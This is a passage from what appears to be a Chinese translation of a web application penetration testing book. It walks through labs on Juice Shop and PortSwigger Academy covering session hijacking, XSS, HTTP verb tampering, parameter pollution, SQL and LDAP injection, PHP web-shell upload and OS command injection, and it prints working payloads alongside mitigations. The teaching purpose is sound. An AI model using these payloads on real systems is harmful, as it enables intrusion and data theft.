  1. 点击账户,然后点击注销,以退出 Juice Shop。

  2. 打开 ZAP,在历史标签中,搜索以下/rest/order-history URL 的 GET 请求,如图 5.19所示:

图 5.19 – /rest/order-history 的 GET 请求

图 5.19 – /rest/order-history 的 GET 请求

  1. 右键点击请求,选择用请求编辑器打开/重新发送...,如图 5.20所示:

图 5.20 – 请求编辑器

图 5.20 – 请求编辑器

这将打开手动请求编辑器。在请求编辑器中,你可以编辑请求。

  1. 点击发送以重新发送请求:

图 5.21 – 手动请求编辑器发送

图 5.21 – 手动请求编辑器发送

  1. 发送请求后,响应标签将打开,其中将包括服务器的响应。你可以看到请求被接受,并且响应中包含了管理员用户的订单历史,如图 5.22所示:

图 5.22 – 订单历史响应

图 5.22 – 订单历史响应

工作原理...

在这个实验中,我们作为管理员用户在用户已经注销后重新发送请求。该请求被服务器接受,且返回了包含用户信息的响应,这证明即使我们作为管理员用户已经注销,应用程序并没有在后台终止管理员用户的会话,这使得我们能够执行未经授权的操作。

还有更多内容...

其他类型的注销功能测试,例如会话超时,可以通过等待递增时间进行测试(即 15 分钟、30 分钟、1 小时、1 天)。测试时,登录应用程序并设置计时器,等待递增的时间段,希望能够成功注销。时间过后,尝试刷新网页应用页面、在应用程序上执行操作,或重新发送请求以触发应用程序的会话超时。

另见

另一种利用会话变量的攻击是会话拼图攻击或会话变量重载攻击。使用会话变量处理多个目的的应用程序容易受到这种攻击。有关这种攻击的更多信息,请参见以下链接:owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling

测试会话劫持

在本教程中,我们将演示如何通过利用 web 会话控制机制(即会话令牌)劫持会话,并使用该令牌(即 cookie)接管一个不知情用户的会话。常见的漏洞包括会话嗅探、恶意 JavaScript 代码(如 XSS、CSRF)或中间人攻击MiTM)导致令牌可预测。

我们将使用 MiTM 攻击通过跨站脚本攻击盗取会话令牌,并将盗取的令牌重放到另一个用户的会话中,进而劫持该用户的 Juice Shop 账户。

准备工作

为了准备此教程,请启动 ZAP 和 OWASP Juice Shop。确保 ZAP 在 OWASP Juice Shop 应用程序主页拦截流量,并注册/创建两个不同的用户。

如何进行...

我们将引导您通过以下步骤,教您如何利用 OWASP Juice Shop 中的两个用户进行会话劫持,通过 MiTM 攻击捕获会话 cookie 或令牌,并将其加载到另一个用户的请求中,劫持该会话并验证用户账户。

以下步骤将引导您完成此过程:

  1. 打开 ZAP 的手动探索页面,输入 Juice Shop URL,并点击启动浏览器,如图 5.23所示:

图 5.23 – Juice Shop URL 中的手动探索

图 5.23 – Juice Shop URL 中的手动探索

  1. 首先,进入账户,选择登录,然后选择还不是客户

  2. 创建一个User1@email.com,密码可以随便设置,安全问题也随便填写。

  3. 创建第一个用户后,重复步骤 1步骤 2来创建User2@email.com

  4. 使用User1账户登录到 Juice Shop。

  5. 在所有请求和响应上设置断点,并刷新User1的已登录网页。

这可以通过启动的手动探索浏览器或工作区窗口来实现:

图 5.24 – 在所有请求和响应上设置断点

图 5.24 – 在所有请求和响应上设置断点

  1. 在 ZAP 中,您将看到一个新的标签页,名为Break,如图 5.25所示,它会显示捕获的User1会话(JWT)令牌。

  2. 复制请求中token=Upgrade-Insecure-Requests之间的所有文本:

图 5.25 – 捕获的会话令牌

图 5.25 – 捕获的会话令牌

  1. 登出User1账户并使用User2账户登录。

  2. 在以User2身份登录的状态下,打开浏览器的检查工具并转到存储标签。

  3. 在 Cookies 的储存区中,点击打开下拉菜单并选择 Juice Shop 网址。

  4. User2的令牌元素替换为User1的会话令牌,然后按下键盘上的Enter键。

  5. 刷新浏览器网页并打开 Juice Shop 的账户菜单。现在将显示User1已经登录,而不是User2,成功劫持了User1的会话。

它是如何工作的……

用户会话在未获得用户知情或同意的情况下被控制的行为称为会话劫持。此操作通常通过获取用户的JSON Web TokenJWT)来实现,该令牌用于在网页应用程序中验证用户身份。

获取受害者 JWT 的攻击者可以冒充受害者并访问其账户。这是通过将被窃取的 JWT 放入网页应用请求的 HTTP 头部来实现的。由于 JWT 看起来是合法的,并且由应用程序提供,应用程序会将请求当作来自受害者的请求处理。

攻击者可以通过多种方式获取受害者的 JWT,包括网络钓鱼攻击、中间人攻击(MiTM)以及利用应用程序或受害者设备中的弱点。

还有更多……

ZAP 可以通过进入选项并滚动到常规中的JWT设置来扫描 JWT 令牌漏洞,勾选启用客户端配置扫描。稍后,在第十章,“高级攻击技术”中,在操作 JSON Web 令牌这一食谱中,我们将回顾如何在 ZAP 中使用和滥用它。此外,这些令牌可以通过编码/解码/哈希工具进行解码,以查看其中的内容,如头部算法、用户名、密码、令牌过期时间等。在第十二章中,我们将进一步讨论 JWT 令牌的结构、如何解码它们,并展示可以尝试的攻击方法。

参见

为了进一步理解会话劫持及其缓解方法,可以考虑阅读更多资料:

第六章:验证(数据)输入 – 第一部分

你已经来到了第六章,黑客攻击的核心内容!在这一章中,你将会了解每个黑客都认识、喜爱、憎恨并希望重现的攻击方法。在这里,我们将开始深入研究利用容易受到输入验证问题、糟糕编码实践或后端缺乏参数化的字段或对象的攻击方法。

尽管许多人都知道跨站脚本攻击XSS)等攻击,它们可以利用会话或结构化查询语言SQL)注入攻击来绕过身份验证或从数据库中拉取数据,但我们还将深入探讨更多利用相同糟糕编码实践的攻击。

本章将涵盖以下教程:

  • 测试反射型 XSS

  • 测试 HTTP 动词篡改

  • 测试HTTP 参数污染HPP

  • 测试 SQL 注入

技术要求

对于本章内容,要求你在本机上安装OWASP Zed Attack ProxyOWASP ZAP)和 OWASP Juice Shop,以便拦截浏览器与 OWASP Juice Shop 之间的流量。此外,还需要使用你的 PortSwigger 账户访问 PortSwigger Academy 的实验室,这些实验室将用于本章的教程。最后,为了完成某些攻击,需要使用 Mutillidae II Docker 环境。

测试反射型 XSS

XSS 漏洞是最常见的 Web 应用程序注入攻击之一。这种攻击位于OWASP Top 10:2021 – 注入类别中的第 3 位。XSS 欺骗用户的浏览器运行攻击者精心设计的恶意 JavaScript 代码,以窃取用户的敏感信息,例如会话 cookie 或密码。在某些情况下,如果管理员帐户的会话信息被泄露,攻击者可能会接管整个应用程序。任何使用用户输入数据生成输出的应用程序都有可能遭受 XSS 攻击。XSS 漏洞有多种类型:反射型 XSS、存储型 XSS 和 DOM XSS。DOM XSS 将在第九章客户端测试中讨论。

在这个教程中,我们将使用反射型 XSS 负载攻击 OWASP Juice Shop 应用程序,并利用 ZAP 拦截流量,操控请求并观察攻击在浏览器中反映出来。

准备工作

本实验要求运行 Juice Shop 应用程序,并且 ZAP 能够拦截来自服务器到浏览器的请求和响应。

如何操作…

反射型 XSS 漏洞发生在应用程序接受用户输入并将其显示在响应输出中时。与存储型 XSS(持久性)不同,反射型 XSS 不会在应用程序中永久存储(非持久性)。

以下步骤用于利用 XSS 漏洞:

  1. 打开 OWASP Juice Shop。

  2. 使用启用设置 中断的 OWASP ZAP 拦截 Web 应用程序。

  3. 将以下有效负载输入到搜索字段中:

     <image src=1 href=1 onerror="javascript:alert(1)"></image>
    
  4. 请观察浏览器中反射的负载弹出警告,如图 6.1所示:

图 6.1 – XSS 负载反射

图 6.1 – XSS 负载反射

它是如何工作的…

无论 XSS 攻击是反射型还是存储型,结果总是一样的。负载进入服务器系统的方式使这两者有所不同。永远不要假设一个“只读”网站可以免疫反射型 XSS 攻击。最终用户可能会因为 XSS 而经历一系列问题,从小麻烦到完全账户泄露不等。通过泄露用户的会话 Cookie,XSS 攻击为攻击者提供了访问用户会话和账户的权限。根据用户的权限等级,例如管理员权限,这可能会增加风险。

还有更多…

XSS 攻击很常见,防止这些攻击至关重要。以下是两种防止 XSS 攻击的方法。请记住,这些并不是唯一的防护 XSS 攻击的选项:

  • 对非字母数字字符进行编码以防止浏览器执行代码:你可以利用一个库或框架自动编码或转义用户输入,使其不被视为代码。例如,在 HTML 环境中,你可以使用 Python 的html.escape()方法或 JavaScript 的HTMLElement.textContent属性来编码用户输入,使其被解释为纯文本而不是可执行代码。

  • 验证用户提交的输入并允许特定类型或列表的输入:使用允许字符的白名单,而不是禁止字符的黑名单,是实现这一目标的一种技术。例如,你可以限制输入为字母数字字符和一些基本符号,同时禁止任何包含 HTML 或 JavaScript 元素的输入。

  • 使用内容安全策略CSP)来指定哪些源被允许在你的网站上执行脚本也是一个好主意,同时在服务器端验证过程中包含输入清理。即使攻击者成功绕过客户端验证,这也有助于避免 XSS 攻击。

重要说明

存储型 XSSXSS 类型 II)是一种持久性攻击,也被称为二次 XSS。它发生在应用程序从不可靠的来源获取恶意数据,将其存储在服务器上,并随后在 HTTP 响应中不经意地包含该数据时。这种攻击使用与反射型 XSS 相同的方法。

另请参阅

获取更多关于 XSS 的信息,请访问以下链接:

要查看更多负载,请访问 GitHub 搜索更多,或访问以下链接:

测试 HTTP 动词篡改

当使用各种 HTTP 方法访问系统对象时,HTTP 动词篡改评估 Web 应用的反应。测试人员应尝试使用每种 HTTP 方法访问爬取期间找到的每个系统对象。

GETPOST 请求并不是 HTTP 规范支持的唯一请求类型。开发人员可能没有预料到符合标准的 Web 服务器将如何对这些替代方法做出反应。虽然动词篡改是这些请求的通常术语,但 RFC 9110 规范将它们称为各种 HTTP 方法。

在这个示例中,我们将探讨使用一些这些 HTTP 动词来了解服务器响应以及如何利用它。

准备工作

本实验室需要一个 PortSwigger Academy 账户和一个可用的 ZAP 副本来拦截从服务器到您的浏览器的请求和响应。我们将利用由于不安全配置而导致信息泄露实验室来进行这个示例。

如何做…

在这个示例中,管理界面存在身份验证绕过漏洞。为了利用它,攻击者必须了解前端使用的特定 HTTP 头。

利用 HTTP 动词篡改的步骤如下:

  1. 通过在快速开始菜单中使用手动探索在 ZAP 中拦截 Web 流量,并在手动探索中启用设置中断并刷新网页开始。

  2. 通过浏览到 /admin 路径,注意 GET 请求。响应将披露一个仅供本地用户使用的管理员界面消息。

  3. 重新发送请求,但将GET替换为TRACE方法(见图 6**.2):

     TRACE /admin
    

图 6.2 – TRACE 请求

图 6.2 – TRACE 请求

  1. X-Custom-IP-Authorization 头现在将包含您的 IP 地址,附加到您的请求中。这用于确定请求是否来自本地主机 IP 地址,如图 6**.3所示:

图 6.3 – 包含 IP 地址的响应

图 6.3 – 包含 IP 地址的响应

  1. 打开ReplacerCtrl + R)。这将用于匹配和替换头部。创建一个描述,并将匹配类型保留为响应主体字符串。将以下内容添加到替换字符串字段中:

    X-Custom-IP-Authorization: 127.0.0.1
    

注意

IP 地址与您在第 3 步尝试访问 /admin 页面时在 HTTP 响应中看到的 IP 地址相同。

  1. 将以下内容添加到替换字符串字段中,如图 6**.4所示:

    X-Custom-IP-Authorization: 127.0.0.1
    

图 6.4 – 匹配 / 替换字符串

图 6.4 – 匹配 / 替换字符串

重要提示

根据 OWASP 文档的替换规则:

响应 主体字符串:

在这种情况下,匹配字符串实例将被视为字符串或正则表达式(regex)。如果它出现在响应体中,那么它将被 替换文本 替换。*

  1. 勾选 启用 复选框并点击 保存。ZAP 将把此设置应用到你发送的每一个请求中。

  2. 返回主页浏览。注意,现在你可以访问 管理员面板 链接(显示在 图 6.5 中),然后可以删除用户 Carlos

图 6.5 – 管理面板

图 6.5 – 管理面板

它是如何工作的…

HTTP TRACE 方法用于故障排除。当你启用 TRACE 方法时,Web 服务器会沿着到目标资源的路径进行消息回环测试。

尽管这种行为通常是无害的,并且开发人员经常用它进行有用的调试,但如果配置不当,可能会导致私人数据泄露,包括由反向代理添加的内部认证头。

以下是常用的其他标准方法:

  • GET:传输目标资源的当前表示

  • HEAD:与 GET 相同,但不传输响应内容

  • POST:对请求内容执行资源特定的处理

  • PUT:用请求的内容替换目标资源的所有当前表示

  • DELETE:删除目标资源的所有当前表示

  • CONNECT:建立到目标资源所识别的服务器的隧道

  • OPTIONS:描述目标资源的通信选项

  • TRACK:为带有 audio>video> 组件定义文本轨道

还有更多…

请记住,Web 服务器处理 TRACE 动词。你的请求可能会通过到达 Web 服务器的附加组件路由,例如 Web 应用防火墙WAF)或负载均衡器。如果该 WAF 包含头信息,你的 TRACE 响应将包含这些头信息,从而让你获得更多信息。

重要提示

XMLHttpRequestXHR)在现代浏览器中不再发送 "TRACE" 请求,且 跨源资源共享CORS)框架阻止 XHR 请求向未明确允许的外部站点发送请求。因此,在 跨站点追踪XST)中出现的旧攻击不再有效。

另见

有关 RFC 9110 的更多信息,请访问 www.rfc-editor.org/rfc/rfc9110.html#method.overview

有关 Web 分布式创作与版本控制WebDAV)的更多阅读,请访问 www.webdav.org/specs/rfc2518.htmldatatracker.ietf.org/doc/html/rfc4918RFC 4918)。

重要提示

如果启用了 WebDAV 扩展,这些扩展可能允许更多的 HTTP 方法:PROPFINDPROPPATCHMKCOLCOPYMOVELOCK,和 UNLOCK

测试 HTTP 参数污染(HPP)

在本教程中,我们将讨论 HPP,你将了解到通过污染一个参数,攻击者可以利用这一点创建账户并接管另一个用户的账户。

准备就绪

为了准备此步骤,请启动 ZAP 和 OWASP Juice Shop。确保 ZAP 在 OWASP Juice Shop 应用首页拦截流量。

如何进行…

在本教程中,我们将引导你了解如何在 OWASP Juice Shop 中进行 HPP 攻击。我们将通过向电子邮件字段添加第二个值来污染它,这将使账户创建过程用攻击者的电子邮件替代受害者的电子邮件来建立账户。

以下步骤将引导你完成此过程:

  1. 打开 ZAP,并通过点击在所有请求和响应上设置断点来启用 ZAP 的拦截功能,启用时会从绿色变为红色。参见图 6.6

图 6.6 – 设置断点

图 6.6 – 设置断点

你还需要逐个处理每个请求,因为这个配置会阻止浏览器发送的所有请求和响应。

  1. 账户进入,然后点击登录,接着选择还不是客户

  2. 创建一个victim@email.com的电子邮件地址,设置任意密码和安全问题的答案。

  3. 在你点击注册后,前往 ZAP 查看请求,然后通过复制字段名和值(如图 6.7所示)输入攻击者电子邮件,并在 ZAP 中转发请求:

图 6.7 – 更改为攻击者电子邮件的请求

图 6.7 – 更改为攻击者电子邮件的请求

  1. 发送请求后,响应会显示账户成功注册,但现在使用的是攻击者的电子邮件,而不是受害者的电子邮件。参见图 6.8

图 6.8 – 攻击者成功注册账户的响应

图 6.8 – 攻击者成功注册账户的响应

  1. 最后,使用你创建的攻击者电子邮件地址和密码登录。注意,个人资料下显示的账户是攻击者的电子邮件。参见图 6.9

图 6.9 – 攻击者账户登录

图 6.9 – 攻击者账户登录

其工作原理是…

这种攻击有效的原因是应用程序接受多个相同名称的参数。由于没有标准规定应用程序应如何处理具有相同名称的多个参数,这可能导致应用程序以意想不到的方式处理参数。

此外,HPP 攻击包括将多个相互矛盾的值插入到 HTTP 请求的查询字符串参数中,以便混淆或操纵处理请求的服务器端程序。

攻击者可能尝试通过将参数转换为数组来利用这种方法。例如,攻击者可能会发出以下请求:

 GET /search?q[]=var1&q[]=var2 HTTP/1.1
Host: example.com

在这种情况下,攻击者试图通过将q参数转换为数组来注入两个矛盾的值。这可能被利用来绕过输入验证或导致程序出现意外行为。

另请参见

可以考虑进一步阅读,以了解 HPP 及此类攻击的修复措施。您可以参考以下资源:owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution

测试 SQL 注入

SQL 注入是一种攻击,主要通过输入字段注入 SQL 查询,以未经授权的方式查看数据库数据、修改数据库数据或执行命令来控制底层基础设施。SQL 注入被认为是最常见的 Web 应用程序攻击之一。SQL 注入是一种严重的 Web 应用程序漏洞;成功的攻击可以使攻击者修改(删除、查看或编辑)数据库中存储的所有数据,或在底层系统上执行命令。

防止 SQL 注入攻击非常重要;以下是一些防止 SQL 注入攻击的技术:

  • 使用参数化查询,防止应用程序将用户输入直接添加到数据库查询中。这使得开发人员能够硬编码 SQL 查询,然后将用户输入作为参数传递给查询。

  • 转义用户输入,转义查询中的特殊字符。SQL 注入攻击依赖于特殊字符来完成 SQL 查询,如'"

  • 输入净化,通过编程方式指定接受哪些类型的字符——例如,只接受字母字符。

请记住,这些技术并不是防止 SQL 注入攻击的唯一方法。

准备工作

要在本实验中进行操作,请确保 Juice Shop 正在运行,且 ZAP 正在拦截请求。

如何操作…

以下说明将指导您通过步骤利用 OWASP Juice Shop 应用程序登录页面中的 SQL 注入漏洞。在本实验中,我们将执行一次 SQL 注入攻击,绕过身份验证机制并以管理员身份登录。在执行步骤之前,请确保 OWASP Juice Shop 应用程序正在运行,并且 ZAP 正在拦截应用程序与浏览器之间的流量:

  1. 打开 OWASP Juice Shop 后,我们需要找到管理员账户的电子邮件/用户名。在主页(所有产品页面),点击苹果汁,在评论部分,您可以看到管理员写的评论,并显示了他们的电子邮件,如图 6.10所示:

图 6.10 – 管理员电子邮件在评论中的显示

图 6.10 – 管理员电子邮件在评论中的显示

  1. 通过点击账户,然后点击登录来导航到登录页面,如图 6.11所示:

图 6.11 – 登录

图 6.11 – 登录

  1. 输入admin@juice-sh.op作为电子邮件,密码可以输入任何值。登录将会失败。

  2. 一旦登录失败,打开 ZAP。在历史记录标签中,找到登录请求。该请求将是一个POST请求,URL 将是/rest/user/login,状态码将是401。右键点击请求并选择使用请求编辑器打开/重新发送…,如图 6.12所示:

图 6.12 – 使用请求编辑器打开/重新发送…

图 6.12 – 使用请求编辑器打开/重新发送…

  1. 一旦请求编辑器打开,在底部窗口你将看到电子邮件。在电子邮件的最后一个字符后,添加' OR 1=1 --来利用 SQL 漏洞并绕过登录机制,如图 6.13所示:

图 6.13 – SQL 注入攻击

图 6.13 – SQL 注入攻击

  1. 点击编辑器右上角的发送按钮。HTTP 响应将打开,展示一个成功的 HTTP 响应状态码200 OK,以及一个创建的JSON Web TokenJWT)身份验证令牌,如图 6.14所示:

图 6.14 – HTTP 200 响应状态

图 6.14 – HTTP 200 响应状态

重要提示

SQL 注入漏洞也可以直接通过登录网页来利用,通过输入登录用户名并添加' OR 1 = 1 --注入代码,如图 6.15所示:

图 6.15 – 登录绕过

图 6.15 – 登录绕过

其工作原理…

SQL 中的布尔值可以是TRUEFALSE。在 SQL 中,布尔逻辑用于将多个条件结合在WHERE子句中,以过滤查询结果集。

SQL 注入漏洞在页面或参数(例如 Juice Shop 登录页面)连接到后端数据库时发挥作用。因此,对于添加的查询,在语句 ' OR 1=1 -- 中,1=1 条件始终是一个 True 查询语句。当数据库解析时,加上的 OR 语句会让数据库尝试匹配任何该用户名的记录。语句还告知数据库,如果没有匹配,则使查询为真。即使攻击者没有正确的用户名,查询也会返回一个 true 结果,从而成功登录。在后端数据库中,SQL 查询看起来会像这样:

 admin' - SELECT * FROM users WHERE useranme = '' OR 1=1 --' AND password = 'anything';

然后,紧接着"--"注释符,忽略了True语句后的所有其他查询语句。因此,攻击者永远不需要知道真实的密码。攻击者输入一个单引号来结束后端原始查询语句,原查询语句在寻找用户名输入时已关闭。接着,数据库服务器继续读取剩余的布尔语句。在这个简单的场景下,攻击者将成功绕过身份验证。

' OR 1=1 -- 查询是初步测试潜在漏洞时最常用的查询和语句之一。此外,添加' -- 在简单的情况下也会生效,因为它同样会产生一个True语句,并且-- 会注释掉查询语句中剩余的需要密码的部分。

还有更多……

要利用 SQL 漏洞,熟悉数据库及如何编写数据库查询语句将非常有帮助。所有 SQL 服务器的语法略有不同。不过,如果你学会了其中一种,你将理解它们的基本结构。常见的 SQL 服务器有 MySQL、Microsoft SQL Server、PostgreSQL 和 Oracle。虽然本示例使用的注入攻击是 SQLite,但其他常见的绕过技术如下:

  • admin' -

  • admin' #

  • admin'/*

  • '** 或 1=1--+**

  • '** 或 1=1#**

  • '** 或 1=1/***

  • ')** 或 '1'='1–**

  • ')** 或 ('1'='1–-**

除了常见的 SQL 数据库之外,轻量级目录访问协议(LDAP) 也以类似于 SQL 注入的方式进行攻击。LDAP 是一种基于客户端-服务器模型的目录服务,类似于数据库,但包含基于属性的数据。可以采用类似于 SQL 注入的绕过技术来进行 LDAP 注入:

 user=*)(uid=*))(|(uid=*
pass=password

另见

有许多工具专门用于发现和利用 SQL 注入漏洞。其中一个著名的工具(也是我个人的最爱)是 SQLMap。SQLMap 允许你指纹识别数据库管理系统(DBMS),获取用户名和数据库表或列,并列举和利用潜在存在的 SQL 漏洞。有关 SQLMap 的更多信息,请访问 Kali Linux 网站 www.kali.org/tools/sqlmap/

关于 LDAP 注入攻击的更多信息,请访问 owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection

第七章:验证(数据)输入 - 第二部分

第七章中,我们将继续进行输入验证的内容。我们将讨论代码注入,它使攻击者能够向程序中插入自定义代码并执行。接下来我们将讲解命令注入,它通过使用现有代码来执行命令,通常是在 Shell 环境下进行。然后我们会讨论服务器端模板注入SSTI),即用户输入以不安全的方式插入模板,导致在服务器上执行远程代码。最后,我们会介绍服务器端请求伪造SSRF),该漏洞通过利用服务器功能读取或更改内部资源。

本章将涵盖以下内容:

  • 测试代码注入

  • 测试命令注入

  • 测试服务器端模板注入

  • 测试服务器端请求伪造

技术要求

本章要求你安装 OWASP ZAP 并使用 PortSwigger 账户访问 PortSwigger Academy 实验。

测试代码注入

代码注入是一种漏洞,指的是将代码注入到应用程序中,后者会解释或执行这些代码。此漏洞允许攻击者从应用程序的后台获取信息,甚至完全控制应用程序。

在本章中,我们将带你通过通过 Web Shell 上传进行远程代码执行的 PortSwigger 实验,创建并上传一个包含代码注入有效载荷的新文件,通过 Web 应用程序功能实现上传。

准备工作

本实验需要一个 PortSwigger Academy 账户以及 ZAP 工具,用于拦截从服务器到浏览器的请求和响应。

如何操作...

在本实验中,你将接触到一个存在漏洞的图片上传功能,该功能没有验证用户上传的文件,在将其存储到服务器之前存在安全隐患。

你将通过上传一个简单的 PHP Web Shell 并利用它来提取/home/carlos/secret文件的内容,从而利用此漏洞。

导航至通过 Web Shell 上传进行远程代码执行的 PortSwigger Academy 实验,并获取实验说明中提供的凭据。以下 URL 指向该实验:portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

  1. 将浏览器通过 ZAP 代理后,登录 PortSwigger Academy 网站以启动实验。

  2. 启动实验后,导航至我的账户并使用wiener账户登录,密码为peter。这些信息也可以在实验说明页面找到,点击即可启动应用。

  3. 我的账户页面,点击选择文件并选择要上传的任何图片。如图 7.1所示,你可以看到我选择了自己的头像并上传了照片。上传图片后,点击返回我的账户,你会注意到现在可以看到已上传的图片。

图 7.1 – 我的账户页面

图 7.1 – 我的账户页面

  1. 接下来,检查 ZAP Sites 窗口,查看应用程序用来从我的账户页面获取头像图片的请求,如图 7.2所示:

图 7.2 – 头像图片请求

图 7.2 – 头像图片请求

  1. 然后,右键点击图片,如图 7.3所示,点击使用请求编辑器打开/重发

图 7.3 – 使用请求编辑器的打开/重发选项

图 7.3 – 使用请求编辑器的打开/重发选项

  1. 从这里,你可以最小化当前的请求编辑器窗口,创建一个包含代码注入有效载荷的新文件。你将要创建的文件名为exploit.php,文件中的代码如下所示:

     <?php echo file_get_contents('/home/carlos/secret'); ?>
    

在你创建并保存了有效载荷文件后,按照上传个人资料图片的方式上传该文件。

  1. 注意,一旦你选择了exploit.php文件作为头像图片上传,文件名会在上传文件之前显示,如图 7.4所示:

图 7.4 – 上传图片功能

图 7.4 – 上传图片功能

  1. 一旦上传了漏洞文件,你可以回到 ZAP,并在之前最小化的手动请求编辑器窗口中,将 URL 末尾的路径更改为/files/avatars/exploit.php,然后发送请求。注意,它返回了一个随机生成的字符串。这是完成实验所需的解决方案,演示了我们如何读取服务器中位于与我们用于/****home/carlos/secret漏洞相同路径的文件。

  2. 恭喜!你已经通过利用应用程序中的代码注入漏洞读取了服务器中的文件。

它是如何工作的...

代码注入是一种将任意代码注入程序或进程中并执行的技术。这可以出于多种原因,比如测试、调试或恶意目的,例如恶意软件。

代码注入可以通过多种方式发生:

  • 缓冲区溢出:缓冲区溢出漏洞发生在软件尝试存储比其预定容量更多的数据到缓冲区(一个临时数据存储区)时。这可能会覆盖附近的内存,从而允许攻击者执行任意代码。

  • SQL 注入:SQL 注入是一种代码注入攻击,攻击者可以通过易受攻击的应用程序向数据库服务器发送恶意 SQL 语句。

  • 跨站脚本攻击(XSS):XSS 是一种代码注入,攻击者将恶意代码注入网页,随后该代码由受害者的浏览器执行。

  • 远程代码执行(RCE):RCE 是一种代码注入,攻击者通过利用网络服务或应用程序中的漏洞,可以在远程计算机上执行代码。

通过使用有效的输入验证和清理、编写安全的代码技术以及定期进行安全更新和修补,可以避免代码注入。

测试命令注入

命令注入是一种漏洞,它允许攻击者在应用程序的底层操作系统(主机)上执行命令。当应用程序接受未经清理和验证的用户输入并将其执行为系统命令时,就会发生此漏洞。系统命令的例子有grepexecsystem等。系统命令会根据应用程序开发所用的编程语言不同而有所不同。通常,要进行命令注入攻击,你需要为应用程序提供预期输入,之后再加上一个特殊字符,以执行所需的命令。特殊字符如|&;|||&&&\n,可以将更多命令附加到已执行的命令中。通过使用这些特殊字符,你可以同时执行多个命令。漏洞的严重性取决于应用程序用户帐户所授予的权限。它的影响可能极为严重,像是查看存储在系统中的密码、窃取数据或与网络上的其他系统交互等。

在本教程中,我们将带你完成 PortSwigger Web 安全学院中的操作系统命令注入,简单案例实验,并学习如何利用成功触发的输入命令的漏洞。

准备就绪

你需要启动 ZAP,并确保它能够拦截浏览器与 PortSwigger 学院实验之间的请求和响应。

如何操作...

为了展示如何利用常见的注入漏洞,我们将使用 PortSwigger Web 安全学院中的一个实验。ZAP 将拦截流量,我们将修改请求以利用该漏洞。

以下步骤将指导你完成实验并利用该漏洞:

  1. 启动 ZAP,并在浏览器中访问 PortSwigger 学院。登录后点击所有 实验按钮。

  2. 向下滚动至操作系统命令注入部分,点击操作系统命令注入,简单案例实验,链接位于portswigger.net/web-security/os-command-injection/lab-simple

图 7.5 – 操作系统命令注入实验

图 7.5 – 操作系统命令注入实验

  1. 点击访问实验,易受攻击的应用程序将在新标签页中打开。

  2. 将应用程序添加到范围内,以限制你所看到的结果仅限于该范围。

  3. 在这个应用程序中,用于检查每个显示项库存水平的功能存在命令注入漏洞。因此,打开任何一个商品,滚动到底部,直到你可以选择检查库存按钮,如图 7.6所示:

图 7.6 – 检查库存按钮

图 7.6 – 检查库存按钮

  1. 我们点击按钮生成请求。现在请求已经发送,找到它在 ZAP 的历史选项卡中。它将是一个POST HTTP 请求,发送到/product/stock,如图 7.7所示:

图 7.7 – 一个发送到 /product/stock 的 POST 请求

图 7.7 – 一个发送到 /product/stock 的 POST 请求

  1. 右键点击请求,然后点击使用请求编辑器打开/重新发送,也称为手动请求编辑器

  2. 手动请求编辑器将在新窗口中打开。为了利用该漏洞,在storeId=1后添加|管道符号和命令。在此步骤中,添加|pwd,如图 7.8所示,以查看我们在哪个目录,并点击发送按钮:

图 7.8 – storeId 请求

图 7.8 – storeId 请求

  1. 如你所见,我们发送的带有系统命令的请求已经执行,现在我们可以看到我们所在的目录是/home/peter-IkA8ei

  2. 现在,为了好玩,我们来创建一个文件。返回到请求选项卡中的手动请求编辑器,添加|管道符号和cat > CommandInjection.txt,如图 7.9所示。200 HTTP 响应状态码告诉我们请求成功:

图 7.9 – 命令注入请求

图 7.9 – 命令注入请求

  1. 现在,要查看我们创建的文件,请重复相同的步骤,但这次添加|管道符号和ls命令,如图 7.10所示,然后点击发送

图 7.10 – 请求中的 ls 命令

图 7.10 – 请求中的 ls 命令

  1. 在响应中,你可以看到命令已经成功执行,我们可以看到我们创建的文件已列出,如图 7.11所示:

图 7.11 – 执行的命令注入

图 7.11 – 执行的命令注入

这就是本实验的结束。在本实验中,你成功利用了命令注入漏洞。

它是如何工作的...

由于该应用程序存在命令注入漏洞,因此没有验证用户输入。因此,我们可以执行系统命令,查看当前目录,并创建文件。如果我们愿意,我们还可以删除文件。

针对命令注入漏洞的修复措施可以通过清理用户输入来防止。

还有更多...

ZAP 活跃扫描可以检测到命令注入漏洞。对应用程序运行活跃扫描,扫描完成后转到警报标签页,搜索是否存在远程操作系统命令注入。在警报中,您将获得有关漏洞的更多信息,在攻击字段中,您会看到成功的有效载荷。使用在攻击字段中观察到的有效载荷,您可以重新创建攻击,查看密码文件或其他内容。图 7.12 是警报的截图:

图 7.12 – 警报标签页攻击描述

图 7.12 – 警报标签页攻击描述

另见

Commix 是一个开源工具,旨在自动检测并利用命令注入漏洞。它也作为一个工具包含在 Kali Linux 中。欲了解更多关于 Commix 的信息,请访问该工具的 GitHub 页面 (github.com/commixproject/commix)。

测试服务器端模板注入

在本教程中,您将学习如何使用 PortSwigger Academy 的实验室进行基本的 SSTI 攻击。由于 ERB 模板的构建不安全,本实验室中的应用程序容易受到 SSTI 攻击。通过完成实验室,您将了解什么是 SSTI。首先,阅读 ERB 文档,学习如何运行任意代码,然后删除morale.txt文件,该文件位于 Carlos 的主目录中。

此外,您将学习服务器端模板的工作原理,以及这如何导致攻击者利用漏洞控制服务器。

准备工作

启动本地 ZAP 工具并登录到您的 PortSwigger Academy 账户,然后访问 portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic 中的基本服务器端模板注入实验室。

如何操作...

进行漏洞利用的一个好方法是通过注入一系列在模板表达式中常用的特殊字符来模糊化模板,例如以下字符:

 ${{<%%'"}}%\

因此,当模糊化产生错误或结果时,例如使用数学方程式,这将表明模板存在注入漏洞,因为服务器正试图评估有效载荷。这样做对于在能够利用漏洞之前识别其上下文是非常重要的:

  1. 首先,点击查看详情以了解第一个产品的更多信息。一个GET请求使用消息参数进行渲染;然后您将看到首页上的很抱歉,该产品已售罄信息,如图 7.13所示:

